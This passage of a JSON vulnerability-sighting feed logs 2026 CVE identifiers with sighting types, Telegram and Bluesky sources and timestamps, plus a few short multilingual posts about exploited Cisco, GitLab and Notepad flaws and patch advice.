\u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u041e\u0431\u044b\u0447\u043d\u044b\u0439 Markdown-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0412 \u0446\u0435\u043b\u043e\u043c \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 low-friction entry point.\n\n\ud83d\udcac \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d + \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n#red_team #Notepad", "creation_timestamp": "2026-09-15T00:00:10.995971Z"}, {"uuid": "a66e154d-ad0d-46a6-a4b2-be100c766156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/gE-0GBB0kiYGrYaMb2QcTMVYdqqOK5zcUTgdZJ7ydzauL8M", "content": "", "creation_timestamp": "2026-09-15T00:00:20.596706Z"}, {"uuid": "202998d3-2c8e-49a8-89fb-ec8627660d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20516", "type": "published-proof-of-concept", "source": "Telegram/hyT_MOXILeGP_H3mOM6D0YvgOQ4qPuk9nF2x2dv8gC9J0Ss", "content": "", "creation_timestamp": "2026-09-15T00:00:21.300405Z"}, {"uuid": "f8ef063e-314f-4065-8b2e-21061a1deb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/rYI6Zqy0cIAzPuGO9f0r5Slky12gBs9q9iDC78xwtWgP4zQ", "content": "", "creation_timestamp": "2026-09-15T00:00:30.884934Z"}, {"uuid": "4aff35e6-7301-4c1d-9b76-b84dd4810183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/iNf9RoRlyQ6mB_3X-8w3IFiNbifAh7fRkxG-O1lCf95QgIk", "content": "", "creation_timestamp": "2026-09-15T00:00:10.635320Z"}, {"uuid": "d5c19d3c-0396-4659-9272-3cf873d7a8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/JQD0C8Yx27tRSZoKZpdm0Z4-Mq7L_VGqhn-eJGwBkI0rYps", "content": "", "creation_timestamp": "2026-09-15T00:00:10.224534Z"}, {"uuid": "b7da4c2b-baad-4c97-9e0d-d59426286758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102256", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20079-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DiegoArias008\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-14 02:39:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-15T00:00:29.047513Z"}, {"uuid": "2dbef2ac-6a8d-4544-b47a-d4b25ba90674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/5JJLi4ilWXyXXmqQX3oBT0dkr7roQAj1drplfCNAlo1SbUc", "content": "", "creation_timestamp": "2026-09-15T00:00:26.643954Z"}, {"uuid": "d11918cf-acd2-45ee-aaa2-745c3f46af13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/NaqXpJzudf_kPemcfRLNgSuhJAIsHS0qYFopzKAZDt10jI8", "content": "", "creation_timestamp": "2026-09-15T00:00:23.855756Z"}, {"uuid": "69abf126-1153-4eef-bbcf-343bcccb465d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "Telegram/nbvVwcF9Vh3pSQxjis9dqZYR3pC2fbiK7Di-WEfMf6jiAg", "content": "", "creation_timestamp": "2026-09-15T00:00:31.521535Z"}, {"uuid": "009136d3-a3c0-4e1a-89eb-5823dd61dac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/N_mixIiipJKCy4A15l4EK14mTB12DnBc0A7BepwKIkOAWtk", "content": "", "creation_timestamp": "2026-09-15T00:00:32.079468Z"}, {"uuid": "0b35252f-c306-4ada-86a0-122467380be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/jh0whM22Atq8OS912YyotgrPw8UHGX4MBmJa5R4nvwF36is", "content": "", "creation_timestamp": "2026-09-15T00:00:31.896699Z"}, {"uuid": "004b5e55-ae2c-4715-a07c-a2d654d43504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/H0eOjHyZUxgnLxua8sMakUK5GgA6Gq51QUerHtt7h7qjAfg", "content": "", "creation_timestamp": "2026-09-15T01:00:03.426341Z"}, {"uuid": "3d0371fb-6576-43c5-80e2-57ac52422a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/h09GPqNL5pAXezKj9jUvLF7CgRlXDmdtrgeE9ZdBonnL6iw", "content": "", "creation_timestamp": "2026-09-15T01:00:03.864229Z"}, {"uuid": "400ef830-8b61-4cff-83f5-a4e1b3184775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvjqhw35zg2l", "content": "\ud83d\udea8 BREAKING: CISA confirms active exploitation of GitLab CVE-2026-85706 (path traversal, unauth file read) \u2014 add to KEV catalog, 3-day federal patch deadline. Sandworm chains Cisco CVE-2026-20079 auth bypass \u2192 Cyclops Blink. DDRop hardware attack breaks Intel TDX / AMD SEV-SNP confidential computi...", "creation_timestamp": "2026-09-15T04:01:43.108733Z"}, {"uuid": "278354b7-6857-4d42-825b-aa2f277ca7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvjqioopjj24", "content": "2/ HARDWARE + CISCO: Sandworm chaining Cisco auth bypass (CVE-2026-20079, root RCE) \u2192 Cyclops Blink; DDRop drops writes on DDR5 interposer under $200, breaks Intel TDX / AMD SEV-SNP confidentiality. Conf computing is not a magic shield. Src: TheHackerNews, DarkReading", "creation_timestamp": "2026-09-15T04:02:08.763733Z"}, {"uuid": "8f873828-8b8d-443a-bbe6-73dc0c14fe2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20683", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260915", "content": "", "creation_timestamp": "2026-09-15T04:45:09.517438Z"}, {"uuid": "205ad60b-9ed1-4717-b22d-ef92a50f0611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvjz7klh3o2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-20079: 22 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-85706: 21 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-51990: 5 interactions\nCVE-2026-76461: 5 interactions\nCVE-2026-85706: 5 interactions\n", "creation_timestamp": "2026-09-15T06:38:06.782958Z"}, {"uuid": "498fdb18-e8e7-4c2b-9909-3bd5b8a0e63c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/BfOP9C6VTcRtW_Rt0HWgkUpUGQT8zRkGvBuU-FkApQscmcE", "content": "", "creation_timestamp": "2026-09-15T07:00:05.326586Z"}, {"uuid": "ec1cb5ba-7fc1-4e29-afa9-2529ac77b3ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/tVSUyumNKMqWc0g4LwEtEssTFuH2P5-Ny0SMCmmIFkBzBaU", "content": "", "creation_timestamp": "2026-09-15T07:00:05.878584Z"}, {"uuid": "471f4299-018a-4f07-9309-479c8b49e514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20353", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mvkliblu3e23", "content": "\ud83d\udd17 CVE : CVE-2026-20353, CVE-2026-76440, CVE-2026-76441, CVE-2026-76442, CVE-2026-76443, CVE-2026-76461", "creation_timestamp": "2026-09-15T12:05:06.825302Z"}, {"uuid": "0997efda-7d73-49fc-9ce6-68c665484089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/sax5fK4jCTZIGSMqOG-TrTX0gf2ddngrgfPoZEUk3cCA6bw", "content": "", "creation_timestamp": "2026-09-15T14:00:06.440216Z"}, {"uuid": "0d5b208b-5b11-461c-88f0-33966a35b2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/ics_cert/1421", "content": "\u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0646\u0633\u0628\u062a \u0628\u0647 \u062d\u0645\u0644\u0627\u062a \u0628\u0647 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc ASA \u0648 FTD \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f.\n\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-20349 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a HTTP \u062e\u0627\u0635 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633 SSL VPN\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u06cc\u0633\u062a \u06a9\u0646\u062f\u060c \u0628\u062f\u0648\u0646 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u06cc\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0642\u0628\u0644\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u062e \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc SSL VPN\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u0632 \u0637\u0631\u06cc\u0642 IKEv2 \u06cc\u0627\u060c \u062f\u0631 \u0645\u0648\u0631\u062f Secure FTD\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0645\u062f\u0644 \"\u0627\u0639\u062a\u0645\u0627\u062f \u0635\u0641\u0631\" \u0647\u0633\u062a\u0646\u062f. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062d\u0645\u0644\u0647 \u0645\u0648\u0641\u0642\u060c \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0627\u0632 \u0627\u0631\u0627\u0626\u0647 \u062e\u062f\u0645\u0627\u062a \u0628\u0647 \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u062e\u0648\u062f\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0642\u0637\u0639\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0648 \u0627\u062e\u062a\u0644\u0627\u0644 \u062f\u0631 \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u06af\u0631\u0648\u0647 \u0648\u0627\u06a9\u0646\u0634 \u0633\u06cc\u0633\u06a9\u0648 \u0628\u0647 \u062d\u0648\u0627\u062f\u062b \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062d\u0635\u0648\u0644\u0627\u062a\u060c \u062f\u0631 \u0645\u0627\u0647 \u0622\u06af\u0648\u0633\u062a \u0633\u0627\u0644 2026\u060c \u0645\u062a\u0648\u062c\u0647 \u0634\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a. \u0633\u06cc\u0633\u06a9\u0648 \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc ASA 9.16\u20139.24 \u0648 Secure FTD \u0627\u0632 7.0 \u062a\u0627 10.0 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u062f\u0627\u0631\u0646\u062f\u06af\u0627\u0646 \u0627\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0641\u0648\u0631\u0627\u064b \u0628\u0647 \u0646\u0633\u062e\u0647 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647 \u0627\u0631\u062a\u0642\u0627 \u06cc\u0627\u0628\u0646\u062f.\n\n#cisco #firewall #\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc #vpn\n\n\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-09-15T15:00:06.439329Z"}, {"uuid": "50c4c022-eae7-4b98-9f1d-994ade3b85b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/niNQRbFjRj7-WOy4GHjOmH7Q5xMcBDn_2PEfNEn_CK5DWYk", "content": "", "creation_timestamp": "2026-09-15T20:00:04.208742Z"}, {"uuid": "10f39168-55e4-476a-b65c-9f9c77a6f2e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/eMKFoejmyaeUNQkMOIiAP2-n0TJjluNZu9AyRjIZS2QiIU0", "content": "", "creation_timestamp": "2026-09-15T20:00:04.489522Z"}, {"uuid": "797e8c11-6514-40fe-be7a-7beb111a2fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20683", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-apple-19", "content": "", "creation_timestamp": "2026-09-15T20:47:10.265319Z"}, {"uuid": "91099dc1-74be-4d25-8457-0712913eb1bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/30IAJd1jRRqX-FpmR-lbNtUH_nOLNg1vcwYFvoGZKI9TUDg", "content": "", "creation_timestamp": "2026-09-15T23:00:04.935394Z"}, {"uuid": "2ecd1f8c-aaa7-49fb-b72a-62c58bf95945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/7P4z3NQA_03g7yF1iSfMT2p_wGiNpR3Cl-vzoXMZ3imHeg0", "content": "", "creation_timestamp": "2026-09-15T23:00:05.710448Z"}, {"uuid": "2cd1b2ca-cc1c-470a-88f3-7c288feb0acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/7P4z3NQA_03g7yF1iSfMT2p_wGiNpR3Cl-vzoXMZ3imHeg0", "content": "", "creation_timestamp": "2026-09-16T00:00:07.941716Z"}, {"uuid": "67372ad8-ef67-4368-91c4-a0d063e2ce4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/30IAJd1jRRqX-FpmR-lbNtUH_nOLNg1vcwYFvoGZKI9TUDg", "content": "", "creation_timestamp": "2026-09-16T00:00:09.727817Z"}, {"uuid": "c4cd896a-c873-4ca2-929b-c60d41dd17d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/eMKFoejmyaeUNQkMOIiAP2-n0TJjluNZu9AyRjIZS2QiIU0", "content": "", "creation_timestamp": "2026-09-16T00:00:12.171727Z"}, {"uuid": "caff0c69-ce69-4761-b7bd-8ec8111a4db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/sax5fK4jCTZIGSMqOG-TrTX0gf2ddngrgfPoZEUk3cCA6bw", "content": "", "creation_timestamp": "2026-09-16T00:00:13.122963Z"}, {"uuid": "9f43890e-b8c3-48a4-aba7-1b0548e96019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/niNQRbFjRj7-WOy4GHjOmH7Q5xMcBDn_2PEfNEn_CK5DWYk", "content": "", "creation_timestamp": "2026-09-16T00:00:12.394198Z"}, {"uuid": "8ae1405a-cf69-4af2-84d4-9d19bc519f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "https://t.me/ics_cert/1421", "content": "\u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0646\u0633\u0628\u062a \u0628\u0647 \u062d\u0645\u0644\u0627\u062a \u0628\u0647 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc ASA \u0648 FTD \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f.\n\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-20349 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a HTTP \u062e\u0627\u0635 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633 SSL VPN\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u06cc\u0633\u062a \u06a9\u0646\u062f\u060c \u0628\u062f\u0648\u0646 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u06cc\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0642\u0628\u0644\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u062e \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc SSL VPN\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u0632 \u0637\u0631\u06cc\u0642 IKEv2 \u06cc\u0627\u060c \u062f\u0631 \u0645\u0648\u0631\u062f Secure FTD\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0645\u062f\u0644 \"\u0627\u0639\u062a\u0645\u0627\u062f \u0635\u0641\u0631\" \u0647\u0633\u062a\u0646\u062f. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062d\u0645\u0644\u0647 \u0645\u0648\u0641\u0642\u060c \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0627\u0632 \u0627\u0631\u0627\u0626\u0647 \u062e\u062f\u0645\u0627\u062a \u0628\u0647 \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u062e\u0648\u062f\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0642\u0637\u0639\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0648 \u0627\u062e\u062a\u0644\u0627\u0644 \u062f\u0631 \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u06af\u0631\u0648\u0647 \u0648\u0627\u06a9\u0646\u0634 \u0633\u06cc\u0633\u06a9\u0648 \u0628\u0647 \u062d\u0648\u0627\u062f\u062b \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062d\u0635\u0648\u0644\u0627\u062a\u060c \u062f\u0631 \u0645\u0627\u0647 \u0622\u06af\u0648\u0633\u062a \u0633\u0627\u0644 2026\u060c \u0645\u062a\u0648\u062c\u0647 \u0634\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a. \u0633\u06cc\u0633\u06a9\u0648 